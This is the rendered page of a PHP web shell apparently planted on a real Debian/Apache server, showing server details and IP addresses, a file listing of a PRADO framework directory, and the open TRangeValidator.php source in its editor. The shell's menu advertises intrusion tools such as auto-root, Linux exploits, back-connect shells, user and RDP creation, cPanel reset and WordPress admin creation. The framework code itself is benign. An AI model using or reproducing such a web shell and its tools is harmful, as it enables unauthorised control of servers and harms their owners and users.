Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.148.105.127
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
TAccordion.php
20.81
KB
-rw-r--r--
TBaseDataList.php
5.11
KB
-rw-r--r--
TBaseValidator.php
22.48
KB
-rw-r--r--
TBoundColumn.php
7.67
KB
-rw-r--r--
TBulletedList.php
13.77
KB
-rw-r--r--
TButton.php
10.75
KB
-rw-r--r--
TButtonColumn.php
8.35
KB
-rw-r--r--
TCaptcha.php
15.89
KB
-rw-r--r--
TCaptchaValidator.php
3.99
KB
-rw-r--r--
TCheckBox.php
14.67
KB
-rw-r--r--
TCheckBoxColumn.php
3.74
KB
-rw-r--r--
TCheckBoxList.php
13.88
KB
-rw-r--r--
TClientScript.php
4.36
KB
-rw-r--r--
TColorPicker.php
7.89
KB
-rw-r--r--
TCompareValidator.php
8.06
KB
-rw-r--r--
TConditional.php
4.15
KB
-rw-r--r--
TContent.php
1.56
KB
-rw-r--r--
TContentPlaceHolder.php
1.7
KB
-rw-r--r--
TCustomValidator.php
5.55
KB
-rw-r--r--
TDataBoundControl.php
16.99
KB
-rw-r--r--
TDataGrid.php
60.98
KB
-rw-r--r--
TDataGridColumn.php
17.16
KB
-rw-r--r--
TDataGridItemRenderer.php
715
B
-rw-r--r--
TDataGridPagerStyle.php
6
KB
-rw-r--r--
TDataList.php
51.13
KB
-rw-r--r--
TDataListItemRenderer.php
4.58
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSourceControl.php
2.39
KB
-rw-r--r--
TDataSourceView.php
3.97
KB
-rw-r--r--
TDataTypeValidator.php
3.92
KB
-rw-r--r--
TDatePicker.php
28.5
KB
-rw-r--r--
TDropDownList.php
4.53
KB
-rw-r--r--
TDropDownListColumn.php
9.92
KB
-rw-r--r--
TEditCommandColumn.php
7.95
KB
-rw-r--r--
TEmailAddressValidator.php
2.79
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
8.11
KB
-rw-r--r--
TFlushOutput.php
2.17
KB
-rw-r--r--
TFont.php
7.76
KB
-rw-r--r--
THead.php
9.05
KB
-rw-r--r--
THeader1.php
738
B
-rw-r--r--
THeader2.php
738
B
-rw-r--r--
THeader3.php
738
B
-rw-r--r--
THeader4.php
737
B
-rw-r--r--
THeader5.php
737
B
-rw-r--r--
THeader6.php
737
B
-rw-r--r--
THiddenField.php
5.62
KB
-rw-r--r--
THtmlArea.php
13.83
KB
-rw-r--r--
THtmlArea4.php
12.29
KB
-rw-r--r--
THtmlElement.php
1.67
KB
-rw-r--r--
THyperLink.php
6.53
KB
-rw-r--r--
THyperLinkColumn.php
7.6
KB
-rw-r--r--
TImage.php
3.9
KB
-rw-r--r--
TImageButton.php
12.71
KB
-rw-r--r--
TImageMap.php
21.65
KB
-rw-r--r--
TInlineFrame.php
7.54
KB
-rw-r--r--
TItemDataRenderer.php
2.28
KB
-rw-r--r--
TJavascriptLogger.php
2.76
KB
-rw-r--r--
TKeyboard.php
5.76
KB
-rw-r--r--
TLabel.php
3.73
KB
-rw-r--r--
TLinkButton.php
10.11
KB
-rw-r--r--
TListBox.php
6.92
KB
-rw-r--r--
TListControl.php
25.02
KB
-rw-r--r--
TListControlValidator.php
5.8
KB
-rw-r--r--
TListItem.php
3.9
KB
-rw-r--r--
TLiteral.php
2.7
KB
-rw-r--r--
TLiteralColumn.php
4.01
KB
-rw-r--r--
TMarkdown.php
2.19
KB
-rw-r--r--
TMultiView.php
10.47
KB
-rw-r--r--
TOutputCache.php
18.47
KB
-rw-r--r--
TPager.php
23.23
KB
-rw-r--r--
TPanel.php
6.27
KB
-rw-r--r--
TPanelStyle.php
7.46
KB
-rw-r--r--
TPlaceHolder.php
663
B
-rw-r--r--
TRadioButton.php
9.58
KB
-rw-r--r--
TRadioButtonList.php
2.46
KB
-rw-r--r--
TRangeValidator.php
10.04
KB
-rw-r--r--
TRatingList.php
8.54
KB
-rw-r--r--
TReCaptcha.php
8.2
KB
-rw-r--r--
TReCaptchaValidator.php
4.4
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.26
KB
-rw-r--r--
TRepeatInfo.php
14.91
KB
-rw-r--r--
TRepeater.php
29.17
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.36
KB
-rw-r--r--
TRequiredFieldValidator.php
4.63
KB
-rw-r--r--
TSafeHtml.php
2.67
KB
-rw-r--r--
TSlider.php
16.62
KB
-rw-r--r--
TStatements.php
1.45
KB
-rw-r--r--
TStyle.php
21.9
KB
-rw-r--r--
TStyleSheet.php
2.54
KB
-rw-r--r--
TTabPanel.php
20.07
KB
-rw-r--r--
TTable.php
10.15
KB
-rw-r--r--
TTableCell.php
5.58
KB
-rw-r--r--
TTableFooterRow.php
977
B
-rw-r--r--
TTableHeaderCell.php
2.83
KB
-rw-r--r--
TTableHeaderRow.php
977
B
-rw-r--r--
TTableRow.php
5.06
KB
-rw-r--r--
TTemplateColumn.php
7.49
KB
-rw-r--r--
TTextBox.php
18.88
KB
-rw-r--r--
TTextHighlighter.php
5.75
KB
-rw-r--r--
TTextProcessor.php
2.19
KB
-rw-r--r--
TValidationSummary.php
15.16
KB
-rw-r--r--
TWebControl.php
12.36
KB
-rw-r--r--
TWebControlAdapter.php
1.88
KB
-rw-r--r--
TWebControlDecorator.php
10.62
KB
-rw-r--r--
TWizard.php
58.25
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.85
KB
-rw-r--r--
TXmlTransform.php
5.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TRangeValidator.php
<?php /** * TRangeValidator class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link http://www.pradosoft.com/ * @copyright Copyright © 2005-2014 PradoSoft * @license http://www.pradosoft.com/license/ * @package System.Web.UI.WebControls */ /** * Using TBaseValidator class */ Prado::using('System.Web.UI.WebControls.TBaseValidator'); /** * TRangeValidator class * * TRangeValidator tests whether an input value is within a specified range. * * TRangeValidator uses three key properties to perform its validation. * The {@link setMinValue MinValue} and {@link setMaxValue MaxValue} * properties specify the minimum and maximum values of the valid range. * The {@link setDataType DataType} property is used to specify the * data type of the value and the minimum and maximum range values. * These values are converted to this data type before the validation * operation is performed. The following value types are supported: * - <b>Integer</b> A 32-bit signed integer data type. * - <b>Float</b> A double-precision floating point number data type. * - <b>Date</b> A date data type. The date format can be specified by * setting {@link setDateFormat DateFormat} property, which must be recognizable * by {@link TSimpleDateFormatter}. If the property is not set, * the GNU date syntax is assumed. * - <b>String</b> A string data type. * - <b>StringLength</b> check for string length. * * If {@link setStrictComparison StrictComparison} is true, then the ranges * are compared as strictly less than the max value and/or strictly greater than the min value. * * The TRangeValidator allows a special DataType "StringLength" that * can be used to verify minimum and maximum string length. The * {@link setCharset Charset} property can be used to force a particular * charset for comparison. Otherwise, the application charset is used and is * defaulted as UTF-8. * * @author Qiang Xue <qiang.xue@gmail.com> * @package System.Web.UI.WebControls * @since 3.0 */ class TRangeValidator extends TBaseValidator { /** * Gets the name of the javascript class responsible for performing validation for this control. * This method overrides the parent implementation. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TRangeValidator'; } /** * @return string the minimum value of the validation range. */ public function getMinValue() { return $this->getViewState('MinValue',''); } /** * Sets the minimum value of the validation range. * @param string the minimum value */ public function setMinValue($value) { $this->setViewState('MinValue',TPropertyValue::ensureString($value),''); } /** * @return string the maximum value of the validation range. */ public function getMaxValue() { return $this->getViewState('MaxValue',''); } /** * Sets the maximum value of the validation range. * @param string the maximum value */ public function setMaxValue($value) { $this->setViewState('MaxValue',TPropertyValue::ensureString($value),''); } /** * @param boolean true to perform strict comparison (i.e. strictly less than max and/or strictly greater than min). */ public function setStrictComparison($value) { $this->setViewState('StrictComparison', TPropertyValue::ensureBoolean($value),false); } /** * @return boolean true to perform strict comparison. */ public function getStrictComparison() { return $this->getViewState('StrictComparison', false); } /** * @return TRangeValidationDataType the data type that the values being compared are * converted to before the comparison is made. Defaults to TRangeValidationDataType::String. */ public function getDataType() { return $this->getViewState('DataType',TRangeValidationDataType::String); } /** * Sets the data type that the values being compared are converted to before the comparison is made. * @param TRangeValidationDataType the data type */ public function setDataType($value) { $this->setViewState('DataType',TPropertyValue::ensureEnum($value,'TRangeValidationDataType'),TRangeValidationDataType::String); } /** * Sets the date format for a date validation * @param string the date format value */ public function setDateFormat($value) { $this->setViewState('DateFormat', $value, ''); } /** * @return string the date validation date format if any */ public function getDateFormat() { return $this->getViewState('DateFormat', ''); } /** * @param string charset for string length comparison. */ public function setCharset($value) { $this->setViewState('Charset', $value, ''); } /** * @return string charset for string length comparison. */ public function getCharset() { return $this->getViewState('Charset', ''); } /** * This method overrides the parent's implementation. * The validation succeeds if the input data is within the range. * The validation always succeeds if the input data is empty. * @return boolean whether the validation succeeds */ protected function evaluateIsValid() { $value=$this->getValidationValue($this->getValidationTarget()); if($value==='') return true; switch($this->getDataType()) { case TRangeValidationDataType::Integer: return $this->isValidInteger($value); case TRangeValidationDataType::Float: return $this->isValidFloat($value); case TRangeValidationDataType::Date: return $this->isValidDate($value); case TRangeValidationDataType::StringLength: return $this->isValidStringLength($value); default: return $this->isValidString($value); } } /** * Determine if the value is within the integer range. * @param string value to validate true * @return boolean true if within integer range. */ protected function isValidInteger($value) { $minValue=$this->getMinValue(); $maxValue=$this->getMaxValue(); $valid=preg_match('/^[-+]?[0-9]+$/',trim($value)); $value=intval($value); if($minValue!=='') $valid=$valid && $this->isGreaterThan($value, intval($minValue)); if($maxValue!=='') $valid=$valid && $this->isLessThan($value,intval($maxValue)); return $valid; } protected function isLessThan($left,$right) { return $this->getStrictComparison() ? $left < $right : $left <= $right; } protected function isGreaterThan($left, $right) { return $this->getStrictComparison() ? $left > $right : $left >= $right; } /** * Determine if the value is within the specified float range. * @param string value to validate * @return boolean true if within range. */ protected function isValidFloat($value) { $minValue=$this->getMinValue(); $maxValue=$this->getMaxValue(); $valid=preg_match('/^[-+]?([0-9]*\.)?[0-9]+([eE][-+]?[0-9]+)?$/',trim($value)); $value=floatval($value); if($minValue!=='') $valid=$valid && $this->isGreaterThan($value,floatval($minValue)); if($maxValue!=='') $valid=$valid && $this->isLessThan($value,floatval($maxValue)); return $valid; } /** * Determine if the date is within the specified range. * Uses pradoParseDate and strtotime to get the date from string. * @param string date as string to validate * @return boolean true if within range. */ protected function isValidDate($value) { $minValue=$this->getMinValue(); $maxValue=$this->getMaxValue(); $valid=true; $dateFormat = $this->getDateFormat(); if($dateFormat!=='') { $formatter=Prado::createComponent('System.Util.TSimpleDateFormatter', $dateFormat); $value = $formatter->parse($value); if($minValue!=='') $valid=$valid && $this->isGreaterThan($value,$formatter->parse($minValue)); if($maxValue!=='') $valid=$valid && $this->isLessThan($value,$formatter->parse($maxValue)); return $valid; } else { $value=strtotime($value); if($minValue!=='') $valid=$valid && $this->isGreaterThan($value,strtotime($minValue)); if($maxValue!=='') $valid=$valid && $this->isLessThan($value,strtotime($maxValue)); return $valid; } } /** * Compare the string with a minimum and a maxiumum value. * Uses strcmp for comparision. * @param string value to compare with. * @return boolean true if the string is within range. */ protected function isValidString($value) { $minValue=$this->getMinValue(); $maxValue=$this->getMaxValue(); $valid=true; if($minValue!=='') $valid=$valid && $this->isGreaterThan(strcmp($value,$minValue),0); if($maxValue!=='') $valid=$valid && $this->isLessThan(strcmp($value,$maxValue),0); return $valid; } /** * @param string string for comparision * @return boolean true if min and max string length are satisfied. */ protected function isValidStringLength($value) { $minValue=$this->getMinValue(); $maxValue=$this->getMaxValue(); $valid=true; $charset = $this->getCharset(); if($charset==='') { $app= $this->getApplication()->getGlobalization(); $charset = $app ? $app->getCharset() : null; if(!$charset) $charset = 'UTF-8'; } $length = iconv_strlen($value, $charset); if($minValue!=='') $valid = $valid && $this->isGreaterThan($length,intval($minValue)); if($maxValue!=='') $valid = $valid && $this->isLessThan($length,intval($maxValue)); return $valid; } /** * Returns an array of javascript validator options. * @return array javascript validator options. */ protected function getClientScriptOptions() { $options=parent::getClientScriptOptions(); $options['MinValue']=$this->getMinValue(); $options['MaxValue']=$this->getMaxValue(); $options['DataType']=$this->getDataType(); $options['StrictComparison']=$this->getStrictComparison(); if(($dateFormat=$this->getDateFormat())!=='') $options['DateFormat']=$dateFormat; return $options; } } /** * TRangeValidationDataType class. * TRangeValidationDataType defines the enumerable type for the possible data types that * a range validator can validate upon. * * The following enumerable values are defined: * - Integer * - Float * - Date * - String * - StringLength * * @author Qiang Xue <qiang.xue@gmail.com> * @package System.Web.UI.WebControls * @since 3.0.4 */ class TRangeValidationDataType extends TValidationDataType { const StringLength='StringLength'; }
Close